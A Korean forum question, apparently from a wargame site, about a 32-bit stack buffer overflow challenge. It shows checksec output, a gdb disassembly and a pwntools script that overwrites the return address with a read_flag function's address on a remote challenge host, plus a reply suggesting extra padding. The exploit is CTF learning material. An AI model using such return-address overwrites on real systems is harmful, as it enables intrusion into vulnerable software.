질문
pwndbg> checksec
[*] '/home/kali/basic2'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

보안 해제도 똑같이 해주고

pwndbg> print read_flag
$1 = {<text variable, no debug info>} 0x80485fb <read_flag>

read_flag주소도 찾아서 넣었는데

from pwn import *

r = remote('host1.dreamhack.games', 18560)

read_addr = 0x80485fb
buf = b'A'*128
fsp = b'A'*4

payload = buf
payload += fsp
payload += p32(read_addr)

r.send(payload)
r.interactive()

안되는데 이유가뭔가요

그리고 char buf[0x80]이라고 나와있는데
gdb로보면 call부르기전에 보면 ebp-0x80 이 아니라 ebp-0x88만큼 해주는데 뭔가요

   0x08048643 <+29>:	call   0x8048594 <initialize>
   0x08048648 <+34>:	sub    esp,0xc
   0x0804864b <+37>:	lea    eax,[ebp-0x88]
   0x08048651 <+43>:	push   eax
   0x08048652 <+44>:	call   0x80483c0 <gets@plt>

(수정) ebp-0x88은 문제파일 안쓰고 환경 직접 만드느라 실수했나봐요 문제파일쓰니깐 ebp-0x80나오네요 죄송;

#pwnable
작성자 정보
답변 2
avatar
믕믕이부하
대표 업적 없음

32비트 문제를 푼게 너무 예전이라 제대로 기억이 안나지만 SFP가 4바이트 크기의 NULL 바이트가 붙어서 총 8바이트를 차지했을겁니다. 어셈블리어에서 ebp-0x88 라고 나온것도 8바이트가 더 붙어있어서 입니다. 'A'를 4개만 더 붙여주시면 되겠네요.

2022.03.09. 19:12
avatar
redticket
대표 업적 없음

해결완료 ㄷ

2022.03.11. 16:35
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기